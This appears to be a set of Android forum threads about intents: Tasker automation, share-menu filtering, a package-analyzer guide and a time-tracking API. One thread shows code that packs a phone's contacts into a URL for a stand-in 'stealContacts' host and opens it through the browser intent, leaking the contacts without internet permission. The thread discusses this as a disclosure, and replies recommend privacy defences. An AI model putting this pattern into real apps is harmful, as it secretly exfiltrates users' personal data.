Database Info

Advanced Tasker

Tasker is a very versatile tool for controlling your Android device. The more I learn about it, the more I want to learn. For that reason, I am starting this thread which I hope will be a place for people to not only ask specific advanced questions about Tasker, but also to show off the tricks and hoops they have been able to accomplish with Tasker and its plug-ins.
Example:
To start the ball rolling, and provide an example of what I think this thread should be about, here is an example of an advanced Tasker profile.
Time Recording Pro has a plug-in for Tasker. Following their FAQ to their Product Help page provides Public App Services and some basic directions for creating a task which (with Google Calendar Sync) will create timeclock-like punches.
Public App Services
'Time Recording' provides these public services for 3rd party check-in and check-out integration.
Broadcast receivers
com.dynamicg.timerecording.CHECK_IN
com.dynamicg.timerecording.CHECK_OUT
com.dynamicg.timerecording.PUNCH
Activities
com.dynamicg.timerecording.activity.CHECK_IN
com.dynamicg.timerecording.activity.CHECK_OUT
Sample setup in the 'Tasker' app:
1. Create a Task
2. Add an Action of type 'Action Intent' (found under category Misc)
3. Set Action=com.dynamicg.timerecording.CHECK_IN, Cat=None, Target=BroadcastReceiver
4. Done.
5. Hit the "Test" button​
By creating a context of Cell Nearby (and scanning or entering the cells at a physical location), I have created a task to turn WiFi on, turn BT, Cell Data and GPS off, and record a time-punch to my calendar when I arrive at a site. These tasks are reversed when leaving. This not only saves battery at a site without using GPS, but also automatically records time at a location for Time Billing purposes.
The limitation of this is the time-stamp is fairly generic. I have tried entries in the Extra and other fields of the Action, but not had success creating anything more specific. So it is a very useful context, but has room for improvement.
Challenge:
Another situation that advanced Tasker development would resolve would be overriding the default function of hard buttons on a device. For example, creating a task that changes the default camera app that is launched by long pressing the hard camera button. You can imagine the possibilities are nearly endless for reprogramming the hard buttons, and the potential for problems equally vast. What is needed to accomplish this, however, would be some knowledge of the actions and broadcast receivers similar to those provided by Time Recording Pro. I suspect android programmers might be able to provide some of that information.
Summary:
I hope this thread will start a discussion. Tasker is a very versatile app with numerous plug-ins that offer the ability to accomplish extraordinary control without the need to develop a special app. Whether or not my specific examples are commented on or improved upon, I think there needs to be a better forum for Tasker users to gather and help each other.
Thanks

I'm reviving this old thread in scope of getting some help. As you can see here the list of intents has grown a little bit.
What I'm trying to achieve and can't manage is to get info back to Tasker about the current status of Time Recording.
I presume that com.dynamicg.timerecording.GET_INFO should be called and then wait for an answer on com.dynamicg.timerecording.RESULT, but I cannot seem to get this working.
Thanks!

Modify/Remove Existing Intents

What I would like to have happen in an end result is when I select "Share" from an image in Gallery, I would only like certain apps to be listed. As it currently stands, every app that has an intent that can handle an image is listed.
Is there any way to modify which apps are actually shown in that list? Also, would it be possible to apply to any number of scenarios? music/image/text

Well with 150 views and no replies i can assume one of two things.
One, no one knows how to do this or it cant be done.
Two, no one will give input due to lack of code.
I can fix number two. When calling blah() as shown below, it will log all apps that have registered intents. What do I have to do to have an effective "putPackageManager()". Or is there a file that I can modify in order to get the desired output?
Code:
public void blah() {
final PackageManager pm = getPackageManager();
//get a list of installed apps.
List<ApplicationInfo> packages = pm
.getInstalledApplications(PackageManager.GET_META_DATA);
for (ApplicationInfo packageInfo : packages) {
if(pm.getLaunchIntentForPackage(packageInfo.packageName) != null) {
Log.d("MyAppInfo", "Installed package :" + packageInfo.packageName);
Log.d("MyAppInfo", "Launch Activity :"+ pm.getLaunchIntentForPackage(packageInfo.packageName));
}
}
}

As far as I know, the intents an application listens for are part of its manifest and can't be modified by other apps. If you want to make it so that a certain app doesn't show up in, say, the share list, you'll need to either uninstall the app or bust it open and try to modify its manifest to exclude the intent filter.
Think about the possibilities if it was possible to programmatically change the intent filters of other apps: You could replace the default email intent (one that presents a draft email and requires the user to click a send button) with one that sends 100 text messages without any user feedback.
Anyways, hope this helps clarify things.
- chris

cttttt said:
As far as I know, the intents an application listens for are part of its manifest and can't be modified by other apps. If you want to make it so that a certain app doesn't show up in, say, the share list, you'll need to either uninstall the app or bust it open and try to modify its manifest to exclude the intent filter.
Think about the possibilities if it was possible to programmatically change the intent filters of other apps: You could replace the default email intent (one that presents a draft email and requires the user to click a send button) with one that sends 100 text messages without any user feedback.
Anyways, hope this helps clarify things.
- chris
Click to expand...
Click to collapse
It seems a little odd that the android OS would reference each apk installed to check its manifest when you click share. I was hoping that there was a central location that it would reference and update as apps were installed/removed.

eldoon said:
It seems a little odd that the android OS would reference each apk installed to check its manifest when you click share. I was hoping that there was a central location that it would reference and update as apps were installed/removed.
Click to expand...
Click to collapse
Android most likely uses a data structure sitting in memory that allows quick association between each registered intent name and the list of activities or services listening for it. But for all we know it could change into a Leprechaun sitting inside your phone with a Rolodex. Heck...this could be one of the changes in ICS.
This structure isn't something you have direct access to. You only have access to add to these lists by installing apps with intent filters and to remove from these lists by deinstalling apps.
Of course this assumes you're planning on using supported APIs. If you plan on modifying the OS, the sky's the limit...although for reasons explained above, you may not have a whole lot of people lining up to use it for fear of not knowing what anything might do at any time.
- chris

Intent mechanism and security

Hi all,
I have a question to share with you about the Intent mechanism and I hope to start an interesting discussion.
As you (may) know through the use of "Intent" an app can send data to another app of an operation to be performed. For example, from my app I can send an Intent to the browser app in order to open a specific url. But the Intent mechanism seems (correct me if I am wrong) to not apply any security mechanism. Suppose I want to steal the contacts from a device and send them to a web server, if I want to perform these two operations I need the following permissions:
Code:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.INTERNET"/>
the former to read the contacts and the latter to send the data to the web server, but this is not true. In fact, I developed a simple app (named myApp) with the following permission:
Code:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
Basically myApp reads the contacts (it holds the permission) and builds a string like the following:
Code:
String request = "http://ww.example.com/stealContacts?"
request += nameContact1=number1&nameContact2=number2&...
Finally, I put the request in the intent (see below), this means that I want to perform a "get request" to the web app http://ww.example.com/stealContacts and send as parameters all the contacts with the phone number.
Code:
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse(request));
startActivity(i);
In order to test this, I developed a web app that when triggered save all the parameters in the request and show an advertising page.
From my point of view this is very strange, because I can steal the contacts easily.
what do you think? is it a security breach?

You have the permission to read contacts and use the internet. You read the contacts and uploaded them to the internet. I don't see any exploit here, besides unethical behavior.

Hi iBotPeaches, thank you to join the discussion.
I don't give to myApp the permission to use internet, I only give it the READ_CONTACTS, but through the Intent I can send the contacts to internet. I cannot directly open an HTTP connection in myApp.

Yes, this is a fairly well "known" attack - you can use the web browser intent to "leak" information via GET variables.
I am not certain it's a "breach" in the true sense, since Android seems to be an over-trusting platform. I suggest taking a look at XPrivacy on XDA, since its "view" permission for websites will prevent this attack from working unless the user chooses to trust the app (by default it doesn't trust anything).

This is not a security-break. You can only use this permissions you gave. Ist almost impossible gaining permissions without declearing them.. There is a GPS Exploit around which enables GPS without permissions and user confirmation but i think ist fixed in android 3.0+

I second the XPrivacy recommendation and would add OpenPDroid. Both allow you to prevent apps from launching URLs in native Android Browser. XPrivacy allows you to choose which of your accounts and which of your contacts (if any) to allow apps to access.
@simone.mutti - you may be the perfect candidate for this given your interest and ability to develop Android apps:
What the community really needs is a "proof of concept" app that requests all permissions necessary to display all identifying data available/entrusted to Android core services. The app would request the absolute minimum permissions needed to access every bit of data "protected" (aka denied) or "obscured" (aka falsified) by things like XPrivacy and OpenPDroid.
The propose of the app would be twofold:
1) allow users to verify the effectiveness of privacy apps. Currently, XPrivacy's developer recommends NetInfo 2 for the purposes of verifying the efficacy of his app's different privacy features. But the picture is incomplete as NI2 wasn't developed for this purpose.
2) demonstrate the ease with which users can unwittingly supply an app with an inordinate amount of identifying data with the tap of the "install" button. This would serve a similar benefit as pen testing tools by highlighting to non-developers (aka lay people) the various pitfalls of current Android framework. The most excellent, poignant finishing touch would be to allow it to read all intents/permissions of installed Android apps and present the various data each app is allowed to access + the various methods through which it could "legitimately" send that data to some undeclared outside server with/without encryption. Not the easiest task but certainly transformative in terms of clue-ing casual users into the true cost of their "free"and paid apps.
Check out the latest flavor of Angry Birds for a poster-perfect example of data sucking apps at their worst.

[GUIDE] Application for Analysis of the Programs Installed on Android

Author: Apriorit (Device Team)
Permanent link: www(dot)apriorit(dot)com/dev-blog/304-android-package-analyzer
In this article, I will tell you about the process of my research and the results I’ve obtained. I will describe PackageAnalyzer program created as a supplemental tool that displays various data on applications installed in the system. The following is a short summary of its functionality and basic elements implementation.
Research Process. Results
First of all we need to obtain the Android OS source code. The official web-site provides the detailed instruction on downloading the source code from the repository. Following this instruction, I set up the program environment and began the download. At that moment 4.1 was the latest version of the source code available for download. That process took a while, as the overall size of the data received was nearly 15Gb.
What should we begin with? How to find a way to analyze such a volume of data under tight schedule…
It is a well known fact that programmers are rather lazy, which prompts them to optimize their work process in various ways, and I wasn’t an exception to the rule. I came up with an idea how to ease this process a little bit by creating a program that would scan all installed packages and display the information I need, namely activities, services, broadcastservices. What’s the point in it? Firstly, it provides arranged information on packages, which allows to outline those that are of a particular interest to me. But you cannot always define the activity purpose by its name. That’s why I modified the program by adding a function that allows you to run a separate activity from the acquired list.
As the result I outlined the list of Android system applications that might be of a special interest:
• com.android.browser
• com.android.contacts
• com.android.development
• com.android.email
• com.android.mms
• com.android.phone
• com.android.settings
• com.android.packageinstaller
The next step was the research itself.
What should I look for and pay special attention to? As we know, activity is launched with the help of Intent. To do this, we need to call the startActivity(Intent) or startActivityForResult(Intent,int) method, if we expect to obtain certain result, and pass to it the Intent we’ve already created. Intent is a kind of a package, which a sender fills with various data and sends to the recipient (activity) for analysis. Therefore I was tasked with identifying the activities capable of executing the instructions set in Intent, which are not described in the Android manual.
Activity life cycle begins with onCreate() method. In most cases, exactly this method extracts the data included into Intent. The getIntent() method is used for this purpose. Hence, equipped with Far, I started searching for classes with included getIntent() with further research of what happens inside of each class, what data is extracted from Intent, and for what purpose it is used. Using this algorithm, I went through each system package, which was planned to be researched.
Unfortunately, I couldn’t find any hidden possibilities in the system packages of Android OS. Perhaps, it happened due to shallow application research, for which I didn’t have much time, that didn’t allow me to go deep into the features of each application. But negative result is a result after all. I am sure that Google programmers did a great work to eliminate system vulnerabilities by the release of new Android OS – all loopholes, which I was trying to find, were covered.
Program Part. Package Analyzer
As I mentioned earlier, I created the PackageAnalyzer Android application that was mainly tasked with collecting and displaying various information on installed applications. Besides, additional service that checks the requested permissions in newly installed applications and warns about the potential danger was added to the program functionality.
Functionality
• Acquiring the list of installed applications;
• Acquiring the list of Activities, Services, Broadcast Receivers, Permissions;
• Launching a separate activity from the list;
• Notifying about potentially dangerous permissions used by the application;
• Service. Tracking the applications being installed and checking the permissions they request.
Appearance
The user interface consists of two activities.
When launched, the program acquires the list of all installed packages and displays it in the main activity. After a package from the list is selected, the second activity is launched. It displays the detailed information on the internal package components (activities, services, receivers, permissions).
In the “Activities” section, you can initiate the launch of any component from the list by clicking it. In this case, an attempt to launch it with the help of Intent will be made. If everything goes smoothly, the selected activity is displayed on the screen. But not all activities can be launched this way, as an attempt to acquire certain data from Intent that initiated the launched is made in many of them, in onCreate() method, and if some data is not actual or wasn’t found, the activity cannot be launched.
Any Android application requires a permission to perform an action. The list of requested permissions is displayed to a user before each installation. That means that in theory it allows a user to make himself secure against malicious software getting into a phone. But practice shows different results: most users simply do not pay attention to this list. This gives malicious software the opportunity to get into the phone and use the user means as it wants.
That is why the ScannService service was added to PackageAnalyzer program. Its main task is to check the permissions requested by new applications and to inform a user in case any potentially dangerous permissions are detected. Such permissions would include: sending and receiving SMS, making paid phone calls, access to your location, access to personal data (contacts, emails), and so on.
The permissions are checked for new applications, as well as for already installed ones. This check is performed at the PackageAnalyzer launch. Depending on the permissions requested, the indicators in are displayed in the main activity and in the Permissions section in one of three states.
Risk level:
- high;
- middle;
- low.
If a user allowed malicious software to be installed, ScannService shows the corresponding notifications and plays a sound signal.
By clicking the notification, you launch the activity with detailed information on the package. You can start/stop this service by clicking the button on the main activity.
The ScannService registers two BroadcastReceivers at launch. The first one gets the notifications on newly installed applications and initiates the check, and the second one starts the service in case of a mobile device restart.
Implementation
Information on installed applications is located in PackageManager, which can be acquired from the context:
Code:
1 PackageManagerpackageManager = context.getPackageManager();
We acquire the list of installed packages:
Code:
public List<String> getInstalledPackagesList()
{
List<String> list = new ArrayList<String>();
List<PackageInfo> packageInfoList = packageManager.getInstalledPackages(
PackageManager.GET_ACTIVITIES );
for( PackageInfo packageInfo : packageInfoList )
{
list.add( packageInfo.packageName );
}
return list;
}
We acquire the list of activities located in the indicated package:
Code:
public List<String> getActivities( String packageName )
{
List<String> list = new ArrayList<String>();
try
{
PackageInfo info = packageManager.getPackageInfo( packageName,
PackageManager.GET_ACTIVITIES );
for( ActivityInfo activityInfo : info.activities )
{
list.add( activityInfo.name );
}
}
catch( Exception ex )
{
ex.printStackTrace();
}
return list;
}
We acquire the list of services, receivers, and permissions the same way by passing the corresponding parameter to:
Code:
getPackageInfo(): GET_SERVICES, GET_RECEIVERS, GET_PERMISSIONS
BroadcastReceivers are declared with android: enabled="false" parameter in AndroidManifest.xml file, as by default the service is stopped. The receivers are inactive until a user launches the service. The components activity state is changed in the following way:
Code:
publicintonStartCommand( Intentintent, intflags, intstartId )
{
setComponentEnabled(true, PackageInstalledReceiver.class );
setComponentEnabled(true, OnBootDeviceReceiver.class );
...
}
publicvoid onDestroy()
{
setComponentEnabled(false, PackageInstalledReceiver.class );
setComponentEnabled(false, OnBootDeviceReceiver.class );
...
}
privatevoid setComponentEnabled(boolean enabled, Class<?> clazz)
{
int state = enabled ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED
: PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
getApplicationContext().getPackageManager().setComponentEnabledSetting(
new ComponentName( getApplicationContext(), clazz ), state,
PackageManager.DONT_KILL_APP );
}
It is necessary to check the activity of the service at program launch. To do this, you need to acquire the list of all started services and perform a search in it:
Code:
publicstaticboolean isServiceRunning( Context context, String serviceClassName )
{
ActivityManager activityManager = (ActivityManager) context.getSystemService(
Context.ACTIVITY_SERVICE );
List<RunningServiceInfo> services = activityManager.getRunningServices(
Integer.MAX_VALUE );
for( RunningServiceInfo runningServiceInfo : services )
{
if ( runningServiceInfo.service.getClassName().equals( serviceClassName ) )
{
returntrue;
}
}
returnfalse;
}
Summary
In conclusion, I would like to note that although I didn’t obtain any results after searching for hidden possibilities of Android system applications, I created an application for analysis of programs installed on a mobile device, which can be used in the future. The functionality of the program can be extended to obtain more detailed information on applications, as well as to provide security (detection of malicious software and so on).
All articles, code pieces, example project sources and other materials are the intellectual property of Apriorit Inc. and their authors.
All materials are distributed under the Creative Commons BY-NC License.

[TOOL] Free time / location / whatever tracking API

I was in need of a simple way to automatically track the hours that I spent at the office. There are a ton of time tracking tools out there, but I didn't want to trigger a button every time I start or stop working. That's why I created this simple JSON API.
You can find the API on GitHub: https://github.com/Steppschuh/PlaceTracking
I used IFTTT to automatically send requests to the API whenever I connect or disconnect the office WiFi. I've set up some public recipes that you can use here.
The API only serves 3 endpoints:
Users, representing the one who is using the API (e.g. you)
Topics, representing whatever you want to track (e.g. a project or location)
Actions, representing tracking events (e.g. starting or stopping to work)
which are documented in the GitHub repo. Basically, all you have to do is firing 2 requests for setting up a user and a topic:
Code:
http://placetracking.appspot.com/api/users/add/?name=John%20Doe
http://placetracking.appspot.com/api/topics/add/?name=Work
And that's it. Now you can add some events whenever you start or stop working:
Code:
http://placetracking.appspot.com/api/actions/add/?name=start&userId=123&topicId=456
http://placetracking.appspot.com/api/actions/add/?name=stop&userId=123&topicId=456
When you want to analyse what you tracked so far, simply call:
Code:
http://placetracking.appspot.com/api/actions/get/?userId=123
Please let me know what you think and if you have suggestions!